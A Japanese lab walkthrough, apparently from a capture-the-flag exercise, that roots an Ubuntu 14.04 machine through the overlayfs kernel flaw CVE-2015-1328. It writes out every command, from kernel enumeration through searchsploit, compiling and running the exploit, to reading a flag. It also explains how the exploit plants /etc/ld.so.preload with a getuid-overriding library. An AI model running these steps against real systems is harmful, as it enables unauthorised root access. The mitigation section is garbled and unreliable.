
このウォークスルーの目標は、脆弱な Linux カーネルを悪用して、低権限ユーザー (karen) から root へ権限を昇格させることでした。
SSH でターゲットマシンに接続後:
ssh karen@<target-ip>
Linux カーネルバージョンを特定しました:
uname -r
出力:
3.13.0-24-generic
マシンは Ubuntu 14.04 で、カーネルは 3.13.0-24-generic でした。
Linux の権限昇格はしばしば脆弱なカーネルに依存するため、SearchSploit を使って Exploit-DB を検索しました:
searchsploit overlayfs ubuntu 3.13
結果:
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
このエクスプロイトは CVE-2015-1328 を標的としており、これは修正済みバージョンより前の Ubuntu カーネルに影響します。
エクスプロイトを実行する前に、それが何を行うのかを理解することが重要です。
このエクスプロイトは、Linux のユニオンファイルシステムである OverlayFS の欠陥を悪用します。
この脆弱性は、OverlayFS がユーザー名前空間 (CLONE_NEWUSER) 内にマウントされたときに、ファイル権限を誤って処理するために存在します。
非特権ユーザーは OverlayFS を操作して、root のみが書き込めるはずのファイルを作成または変更できます。
このエクスプロイトは最終的に次のファイルに書き込みます:
/etc/ld.so.preload
このファイルは、Linux 動的ローダーに対し、すべての動的リンク実行ファイルの前に共有ライブラリをロードするように指示します。
システムに悪意のある共有ライブラリを強制的にロードさせることで、エクスプロイトは root としてのコード実行を獲得します。
SearchSploit を使用:
searchsploit -m 37292
これによりエクスプロイトがローカルにコピーされました:
37292.c
その後、エクスプロイトは被害者マシンに転送されました。
このウォークスルーでは、次の名前で保存されました:
/tmp/ofs.c
エクスプロイトが含まれるディレクトリに移動します:
cd /tmp
GCC を使用してコンパイルします:
gcc ofs.c -o ofs
コンパイルが成功した場合、GCC は出力を生成しません。
実行可能ファイルが存在することを確認します:
ls -l
期待される出力:
-rwxr-xr-x ... ofs
実行可能ファイルを実行します:
./ofs
エクスプロイトは次のようなメッセージを出力します:
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
最終的に、root シェルが起動します:
#
権限を確認します:
id
出力:
uid=0(root) gid=0(root)
root 権限を取得した後:
cat /home/matt/flag1.txt
ファイルを正常に読み取ることができました。
このエクスプロイトは内部でいくつかのアクションを実行します。
unshare(CLONE_NEWUSER);
Linux のユーザー名前空間を使用すると、非特権プロセスが、ホスト上では root ではなくても、名前空間の内部では root として見えるようになります。
この機能は攻撃に不可欠です。
clone(... CLONE_NEWNS ...)
独立したマウント名前空間は、ファイルシステムへの変更をオペレーティングシステムの他の部分から分離します。
これにより、エクスプロイトはグローバルなファイルシステムに影響を与えずに OverlayFS をマウントできます。
エクスプロイトは一時ディレクトリを作成します:
/tmp/ns_sploit/
├── upper/
├── work/
└── o/
次に OverlayFS をマウントします:
Lower Layer
│
▼
OverlayFS
│
▼
Upper Layer
カーネルの脆弱性により、OverlayFS は root 権限を必要とする操作を誤って許可します。
/etc/ld.so.preload を作成するエクスプロイトは、OverlayFS マウント内の書き込み可能なファイルを次の名前に変更します:
ld.so.preload
OverlayFS を /etc の上に再マウントすると、このファイルは次のようになります:
/etc/ld.so.preload
通常、このファイルを作成できるのは root だけのはずです。
エクスプロイトは C ソースファイルを書き込みます:
/tmp/ofs-lib.c
次にそれをコンパイルします:
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
生成された共有ライブラリは getuid() 関数をオーバーライドします。
エクスプロイトは次のファイル:
/tmp/ofs-lib.so
を次のファイル:
/etc/ld.so.preload
に書き込みます。
これにより、すべての動的リンク実行ファイルは、あらゆるシステムライブラリよりも先にこの悪意のあるライブラリをロードするようになります。
/bin/su を実行する最後に:
execl("/bin/su", "su", NULL);
su が起動すると、元の getuid() 関数の代わりに悪意のある getuid() 関数が実行されます。
ライブラリは:
/etc/ld.so.preload を削除しますsetresuid(0,0,0);
setresgid(0,0,0);
/bin/sh
結果として、対話型の root シェルが得られます。
この脆弱性は、ユーザー名前空間内で使用されたときに OverlayFS が誤った権限処理を行うことに起因します。
非特権ユーザーは OverlayFS を操作して、次のような特権ファイルを作成できます:
/etc/ld.so.preload
動的ローダーはこのファイルを信頼するため、任意のコードが root として実行されます。
この脆弱性は、Ubuntu の更新されたカーネルリリースで修正されました。
緩和策には以下が含まれます:
/etc/ld.so.preload/etc/ld.so.cache# Enumerate kernel version
uname -r
# Search for exploit
searchsploit overlayfs ubuntu 3.13
# Copy exploit locally
searchsploit -m 37292
# Compile exploit
gcc ofs.c -o ofs
# Execute exploit
./ofs
# Verify privileges
id
# Read flag
cat /home/matt/flag1.txt